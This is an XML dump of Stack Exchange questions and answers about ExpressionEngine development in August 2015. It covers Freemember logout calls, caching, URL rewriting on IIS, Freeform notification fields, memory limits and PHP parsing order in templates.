  <row Id="32803" PostTypeId="1" AcceptedAnswerId="32809" CreationDate="2015-08-25T05:12:57.687" Score="0" ViewCount="252" Body="&lt;p&gt;I'm in a situation where I need to logout the current logged_in member without him clicking a logout link. (Javascript click trigger is not an option.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the great freemember module (&lt;a href=&quot;https://github.com/devdemon/freemember/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/devdemon/freemember/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I call the freemember lougout function directly from PHP in a template ?&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2015-08-25T17:41:53.427" Title="Call thirdparty module function directly from PHP in template" Tags="|php|freemember|logout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32804" PostTypeId="2" ParentId="32789" CreationDate="2015-08-25T07:41:01.123" Score="0" Body="&lt;p&gt;I found the issue. In the 404 template I embed a generic template, and the url to that template was wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are stuck with the same issue, track your template nesting for clues. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2015-08-25T07:41:01.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32805" PostTypeId="2" ParentId="32798" CreationDate="2015-08-25T09:12:09.383" Score="2" Body="&lt;h2&gt;Static caching&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A static cached page is just plain old HTML, it doesn't pass through EE or PHP at all. You cannot therefore escape regions of the page from caching:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Astatic%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Astatic%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform forms cannot be cached as they require a token to be generated for each user that views the form, and that is only possible if the freeform tag is parsed each time the form is viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to static cache the page containing the form, I would suggest using javascript to load a form template (containing just the freeform tag) into the page, e.g with jQuery: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#form&quot;).load(&quot;/inc/myform&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&quot;No input file specified&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You may need to append a '?' mark to the last rewrite rule to force query strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html#test&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html#test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test without Stash being involved at all and make sure this is working as expected before trying to cache anything.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mustash menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You should see a 'Mustash' menu in the main menu of the control panel. If you are using Zoo Flexible Admin then you will need to add it to the custom menu for your member group. If not, then please check to see if you have any extensions using the &lt;code&gt;cp_menu_array&lt;/code&gt; hook and disable them one by one - it could be they are not returning the array as they should.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2015-08-25T09:12:09.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32807" PostTypeId="1" CreationDate="2015-08-25T10:28:19.063" Score="1" ViewCount="95" Body="&lt;p&gt;I have an old EE site that I haven't logged into for a year. Now I'm trying to login to it, but it's taking over 1 minute just to log in...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I'm finally logged in every consequent page load in the admin also takes over a minute to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is: I changed Nothing. All I did was not login for a year and now when I try to login it just loads for ages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I thought it might be the 3000 pending comments that are causing this, so I deleted them in the database to see, but it didn't improve one bit. It's still crazy slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE version is 2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest how to fix this, I have no idea where to start and I can't work on the admin to try things because it's too slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. the font end still loads fine and speedy.&lt;/p&gt;&#xA;" OwnerUserId="569" LastActivityDate="2016-06-02T13:30:22.043" Title="When Logging In: Admin is loading Extremely long" Tags="|ee2|admin|slow|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32808" PostTypeId="1" AcceptedAnswerId="32810" CreationDate="2015-08-25T11:25:48.243" Score="0" ViewCount="48" Body="&lt;p&gt;How can I delete old templates that no longer exist in my repo from EE cpanel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see you can multi-select and sync, but is there a way of deleting them?&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-08-25T12:56:46.100" Title="Deleting old templates from CP" Tags="|templates|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32809" PostTypeId="2" ParentId="32803" CreationDate="2015-08-25T12:11:52.147" Score="0" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;php&#xA;&#xA;include PATH_THIRD . 'freemember/libraries/freemember_lib.php';&#xA;&#xA;$free = new Freemember_lib();&#xA;&#xA;$free-&amp;gt;logout();&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have you tried something like that? There's is also the &lt;code&gt;load&lt;/code&gt; function attached to the EE core, but things like above usually always work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, freemember &lt;strong&gt;is&lt;/strong&gt; probably loaded to the core...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php ee()-&amp;gt;freemember-&amp;gt;logout(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could work. Also, this seems likely to work as well...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php ee()-&amp;gt;session-&amp;gt;destroy(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-25T17:41:53.427" LastActivityDate="2015-08-25T17:41:53.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32810" PostTypeId="2" ParentId="32808" CreationDate="2015-08-25T12:24:36.020" Score="0" Body="&lt;p&gt;??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your Site -&amp;gt; CP Home -&amp;gt; Design -&amp;gt; Template Manager&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you not access this control panel page? Head over there and click delete on templates you don't want. You may have to FTP into your server and also manually delete templates stored as files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you delete things, just run an &lt;code&gt;add&lt;/code&gt; and &lt;code&gt;commit&lt;/code&gt; in your repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your comment, there are more complex solutions related to repos and deleting files. For example, with &lt;code&gt;git&lt;/code&gt;, you could use git hooks to guarantee a deletion synchronization between your template database table and the actual templates that are stored as files. But &lt;code&gt;eeeiik&lt;/code&gt;, that's way too much work for what you're looking to do (I assume).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-25T12:56:46.100" LastActivityDate="2015-08-25T12:56:46.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32811" PostTypeId="2" ParentId="32788" CreationDate="2015-08-25T16:10:39.287" Score="1" Body="&lt;p&gt;Apparently to resolve this you have to hack the &lt;code&gt;/system/expressionengine/libraries/Core.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@set_time_limit((REQ == 'CP') ? 300 : 90);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@set_time_limit((REQ == 'CP') ? 800 : 90);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not pretty nor advisable.&lt;/p&gt;&#xA;" OwnerUserId="658" LastEditorUserId="658" LastEditDate="2015-08-25T17:19:23.203" LastActivityDate="2015-08-25T17:19:23.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32815" PostTypeId="2" ParentId="32807" CreationDate="2015-08-26T13:19:32.047" Score="0" Body="&lt;p&gt;Hrmmm.. a site I have that that has all of the major addons, and has had 25 thousand unique visitors in the last 24 hours, only hits 12mb of memory usage... but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.0/en/gone-away.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.mysql.com/doc/refman/5.0/en/gone-away.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You connection to the MySQL sever has gone wonky!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your connection between your application server and your database server is suffering hard. This could be a host issue, or it could be a configuration issue. Check with your host to see if they've upgraded any infrastructure, or any software (MySQL, etc...) recently. Also, SSH into your application server, and ping your database server. What do you see?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if they are the same server, run this command in a bash shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;top&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are we seeing? You may also need to run a repair on your database, or better yet, restart your MySQL server agent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take all of this with a grain of salt; something is wrong, and you should &lt;strong&gt;definitely&lt;/strong&gt; back up your entire database and, just for poops and giggles, your web root as well.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-26T13:19:32.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32817" PostTypeId="1" CreationDate="2015-08-26T15:11:38.377" Score="0" ViewCount="74" Body="&lt;p&gt;If I want to output the same list of occurrences by date vs. by title, is the best way to do this by switching tags?  So for by date, use {exp:calendar:cal}, but for by title, use {exp:calendar:occurrences}?&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2016-06-15T17:09:52.080" Title="Solspace Calendar Orderby Date vs. Title" Tags="|solspace-calendar|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32819" PostTypeId="1" CreationDate="2015-08-26T16:35:42.027" Score="0" ViewCount="343" Body="&lt;p&gt;Currently using Freeform Pro 4.2.3 to have people &quot;apply&quot; for a current job opening.  The form accepts their name, email, phone, comments, then the ability to either upload a file or paste their resume into a text area.  The form is wrapped in a {exp:channel:entries} {/exp:channel:entries} tag.  I've got a few hidden fields on there for &quot;job_opening&quot; and &quot;job_id&quot;.  Both of them are set up in the Freeform CP as hidden fields, and have default values as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Job ID: {segment_3}&#xA;Job Opening: {cf_jobs_short_title} (Job ID: {cf_jobs_job_number})&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the Job Opening ({job_opening}) variable in the subject of my notification template, both to the admin and the person who filled out the form.  Example:  &quot;New Application - Position XYZ (Job ID: 987098)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my notification template has this in the subject:&#xA;New Application - {job_opening}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything populates correctly on the form when I view source.  But it's not being carried over to the email notification.  I have never gotten the Job Opening variable to work, now today I noticed one of the other hidden fields is not displaying correctly (it was, and it's showing correctly in the view source as well).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample of my form is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;jobs&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot;}&#xA;&amp;lt;p&amp;gt;Thank you for your interest in the position of &amp;lt;span class=&quot;job-application-confirmation&quot;&amp;gt;&amp;lt;a href=&quot;/{segment_1}/job-openings/more/{url_title}&quot;&amp;gt;{cf_jobs_short_title} (Job ID: {cf_jobs_job_number})&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Please tell us about yourself by completing the form below.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;form-requirements&quot;&amp;gt;* Indicates a required field&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;small-12 columns&quot;&amp;gt;&#xA;        {exp:freeform:form&#xA;            form_name=&quot;form_job_application&quot;&#xA;            required=&quot;first_name|last_name|phone|email&quot;&#xA;            inline_errors=&quot;yes&quot;&#xA;            return=&quot;{segment_1}/{segment_2}/thank-you&quot;&#xA;            form:enctype=&quot;multipart/form-data&quot;&#xA;        }&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 medium-6 columns&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;first_name&quot; class=&quot;required-field&quot;&amp;gt;First Name:{if freeform:error:first_name} &amp;lt;i class=&quot;fa fa-exclamation-triangle form-error&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span class=&quot;form-inline-error&quot;&amp;gt;Please enter your first name.&amp;lt;/span&amp;gt;{/if}&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 medium-6 columns&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;last_name&quot; class=&quot;required-field&quot;&amp;gt;Last Name:{if freeform:error:last_name} &amp;lt;i class=&quot;fa fa-exclamation-triangle form-error&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span class=&quot;form-inline-error&quot;&amp;gt;Please enter your last_name.&amp;lt;/span&amp;gt;{/if}&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 medium-6 columns&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;phone&quot; class=&quot;required-field&quot;&amp;gt;Phone:{if freeform:error:phone} &amp;lt;i class=&quot;fa fa-exclamation-triangle form-error&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span class=&quot;form-inline-error&quot;&amp;gt;Please enter your phone.&amp;lt;/span&amp;gt;{/if}&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;tel&quot; name=&quot;phone&quot; maxlength=&quot;14&quot; onKeyUp=&quot;formatTelNo(this);&quot; onKeyDown=&quot;formatTelNo(this);&quot; onBlur=&quot;checkTelNo(this);&quot; placeholder=&quot;Numbers only&quot;/&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 medium-6 columns&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;email&quot; class=&quot;required-field&quot;&amp;gt;Email:{if freeform:error:email} &amp;lt;i class=&quot;fa fa-exclamation-triangle form-error&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span class=&quot;form-inline-error&quot;&amp;gt;Please enter your email.&amp;lt;/span&amp;gt;{/if}&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;email&quot; name=&quot;email&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 columns&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;comments&quot;&amp;gt;Comments: &amp;lt;/label&amp;gt;&amp;lt;textarea name=&quot;comments&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 columns&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;upload_resume&quot;&amp;gt;Upload Resume&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;upload_resume[]&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 columns&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;resume_pasted&quot;&amp;gt;Or Cut and Paste Resume Here&amp;lt;/label&amp;gt;&amp;lt;textarea name=&quot;resume_pasted&quot; rows=&quot;12&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;job_id&quot; value=&quot;{segment_3}&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;job_opening&quot; value=&quot;{cf_jobs_short_title} (Job ID: {cf_jobs_job_number})&quot;&amp;gt;&#xA;        {embed=&quot;includes/.job-applicant-notify-recruiter&quot; entry_ids=&quot;{cf_jobs_recruiter:child_ids}&quot;}            &#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 medium-6 columns&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Apply Now!&quot; class=&quot;button small radius&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:freeform:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it something I'm doing wrong on this end?  Any suggestions are most welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2015-08-26T16:35:42.027" Title="Freeform Pro Hidden Fields and Notifications" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32821" PostTypeId="1" CreationDate="2015-08-26T17:18:21.810" Score="0" ViewCount="13" Body="&lt;p&gt;I'm running EE 2.9.3 -- File Manager is adding the text &quot;default&quot; to the front of every filename when I upload files. I've looked in the File Upload Preferences but see nothing which would cause this. I am hesitant to solve this myself because that would involve updating core files, after spending some time to figure out where. However, if the only fix is to update a core file, I'm fine with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this happening and what can I do to stop it? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6555" LastEditorUserId="6555" LastEditDate="2015-08-27T19:11:29.733" LastActivityDate="2015-08-27T19:11:29.733" Title="File Manager prepending &quot;default&quot; to all filenames" Tags="|file-uploads|file-manager|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32822" PostTypeId="1" AcceptedAnswerId="33926" CreationDate="2015-08-26T18:35:10.300" Score="0" ViewCount="650" Body="&lt;p&gt;I have the latest version of EE installed on a Windows 2012 Server with the URL Rewrite module installed. I'm migrating over to this server from an older apache installation that used Mod Rewrite successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is installed in a subdirectory one level down from root (ee) and each dept's index.php file is in another directory (dept1, dept2, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E:/data/web1/ee&lt;br/&gt;&#xA;E:/data/web1/dept1&lt;br/&gt;&#xA;E:/data/web1/dept2&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a bunch of extra EE 'sites' added for various internal departments so I need the rewrite to handle those as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rule name=&quot;EE rewrite&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;match url=&quot;^/(dept1|dept2|dept3|dept4|dept5)/(.*)$&quot; ignoreCase=&quot;true&quot; /&amp;gt;&#xA;    &amp;lt;conditions logicalGrouping=&quot;MatchAny&quot;&amp;gt;&#xA;        &amp;lt;add input=&quot;{R:1}&quot; pattern=&quot;^(index\\.php|images|css|js|favicon\\.ico)&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; ignoreCase=&quot;false&quot; negate=&quot;true&quot; /&amp;gt;&#xA;    &amp;lt;/conditions&amp;gt;&#xA;    &amp;lt;action type=&quot;Rewrite&quot; url=&quot;/{R:1}/index.php/{R:1}/{R:2}&quot; /&amp;gt;&#xA;&amp;lt;/rule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried importing the apache conf file and that didn't work so I've been bashing my head over this for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this current iteration above it loads the admin control panel and loads dept home pages ok but fails to load department subpages and links.  They return 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this works:&#xA;&lt;a href=&quot;http://test.example.edu/dept2/&quot; rel=&quot;nofollow&quot;&gt;http://test.example.edu/dept2/&lt;/a&gt;&lt;br/&gt;&#xA;this fails:&#xA;&lt;a href=&quot;http://test.example.edu/dept2/blah/stuff&quot; rel=&quot;nofollow&quot;&gt;http://test.example.edu/dept2/blah/stuff&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After resolving the main issue, what can be improved upon?&lt;br/&gt;&#xA;Might it be an EE config or IIS config?&lt;/p&gt;&#xA;" OwnerUserId="6604" LastActivityDate="2015-09-05T17:42:57.947" Title="remove index.php on Windows 2012 iis 8 using URL Rewrite" Tags="|iis|rewrite|mod-rewrite|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32823" PostTypeId="2" ParentId="32822" CreationDate="2015-08-26T19:06:20.643" Score="0" Body="&lt;p&gt;I stay 70 million miles away from IIS, but some general research tells me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.helicontech.com/isapi_rewrite&quot; rel=&quot;nofollow&quot;&gt;http://www.helicontech.com/isapi_rewrite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;purchasing that module for IIS will give your best shot at handling EE with IIS. Also:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.iis.net/learn/application-frameworks/install-and-configure-php-applications-on-iis/expressionengine-on-iis&quot; rel=&quot;nofollow&quot;&gt;http://www.iis.net/learn/application-frameworks/install-and-configure-php-applications-on-iis/expressionengine-on-iis&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why you'd want to run PHP on a less powerful agent (I assume not your choice) and very clearly less supported openly (I can whip up anything you want in .htaccess like magic, but XML? Lolwut?). I know this isn't the most helpful answer, but I don't know how many IIS ringers you are going to find here. To be honest, you'd probably be better off asking this on StackOverflow.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-26T19:06:20.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32825" PostTypeId="1" AcceptedAnswerId="32826" CreationDate="2015-08-26T19:36:07.617" Score="0" ViewCount="36" Body="&lt;p&gt;I have a site with a simple form on it 9 fields total. It has worked fine for quite some time but is now up to 2875 responses. I am getting the following error and the site is not coming up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allowed memory size of 134217728 bytes exhausted (tried to allocate 267409 bytes) in ...../expressionengine/third_party/freeform/mod.freeform.php on line 4138&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the contacted the host about raising the memory_limit but I am wondering if anyone else has come across this. It doesn't seem like enough responses to cause memory issues. In the template I am calling up and displaying all the response names (its a petition).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.0 with Freeform 4.2.3 Current memory is set to 128M&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2015-08-26T20:08:18.910" Title="Fatal Memory Error Solspace FreeForm" Tags="|solspace-freeform|memory-limit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32826" PostTypeId="2" ParentId="32825" CreationDate="2015-08-26T20:08:18.910" Score="0" Body="&lt;p&gt;Yah, that'll do it. Remember that you aren't storing that data raw, PHP variables take up more space than their raw data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get your memory raised, or you can temporarily do it yourself. Add this to your sites index.php file (the one in your web root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('memory_limit', '256M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-26T20:08:18.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32827" PostTypeId="1" CreationDate="2015-08-26T23:43:36.550" Score="0" ViewCount="368" Body="&lt;p&gt;Trying to create the following redirect template for some structure pages, however the url is outputting like this &lt;code&gt;http://example.com/{site_url}#section&lt;/code&gt;. Any idea why &lt;code&gt;{site_url}&lt;/code&gt; variable isn't working? And/or any idea how to resolve issue. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;    &amp;lt;?php&#xA;        header( &quot;Location: {site_url}#{homepage_section}&quot; );&#xA;        exit;&#xA;    ?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2020-09-02T14:03:45.400" Title="{site_url} global variable not outputting in php header redirect" Tags="|templates|structure|redirects|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32828" PostTypeId="2" ParentId="32827" CreationDate="2015-08-27T00:10:39.330" Score="0" Body="&lt;p&gt;You have PHP set to &lt;strong&gt;input&lt;/strong&gt; on this template. That means that that something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $test = &quot;{site_url}&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Causes the template parsing engine to &lt;code&gt;eval&lt;/code&gt; the raw PHP code before replacing &lt;code&gt;{site_url}&lt;/code&gt; with the actual site URL. You need to set PHP to &lt;strong&gt;output&lt;/strong&gt; for this template, which means that EE template tags get parsed &lt;strong&gt;FIRST&lt;/strong&gt;, then it &lt;code&gt;eval&lt;/code&gt;s the PHP code, meaning the above will look like this by the time the raw PHP gets executed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $test = &quot;http://www.domain.com&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Soooo yeah. FYI, if you have PHP on that template in other places, switching from input to output could definitely break things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wait.. so one EE tag is getting parsed, but the other isn't?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-27T00:10:39.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32829" PostTypeId="2" ParentId="32817" CreationDate="2015-08-27T00:45:23.383" Score="0" Body="&lt;p&gt;Yes, you would use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; for ordering by &lt;strong&gt;date&lt;/strong&gt; (it's the only tag that truly orders events and its occurrences in chronological order), and &lt;code&gt;{exp:calendar:events}&lt;/code&gt; (or &lt;code&gt;{exp:calendar:occurrences}&lt;/code&gt; if you need occurrences of each of those event entries) if you want to order by something else such as &lt;strong&gt;title&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-27T00:45:23.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
